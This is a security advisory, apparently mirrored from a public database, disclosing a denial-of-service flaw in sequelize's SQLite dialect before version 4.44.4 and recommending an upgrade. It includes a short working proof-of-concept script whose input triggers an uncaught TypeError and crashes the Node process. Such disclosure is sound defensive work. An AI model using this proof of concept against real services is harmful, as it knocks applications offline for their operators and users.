GHSA-fw4p-36j9-rrj3 · Denial of Service in sequelize

Esta página presenta datos de fuentes públicas de vulnerabilidades. Consulta el aviso original antes de actualizar.

Versions of `sequelize` prior to 4.44.4 are vulnerable to Denial of Service (DoS). The SQLite dialect fails to catch a `TypeError` exception for the `results` variable. The `results` value may be undefined and trigger the error on a `.map` call. This may allow attackers to submit malicious input that forces the exception and crashes the Node process. The following proof-of-concept crashes the Node process: ``` const Sequelize = require('sequelize'); const sequelize = new Sequelize({ dialect: 'sqlite', storage: 'database.sqlite' }); const TypeError = sequelize.define('TypeError', { name: Sequelize.STRING, }); TypeError.sync({force: true}).then(() => { return TypeError.create({name: "SELECT tbl_name FROM sqlite_master"}); }); ``` ## Recommendation Upgrade to version 4.44.4 or later.
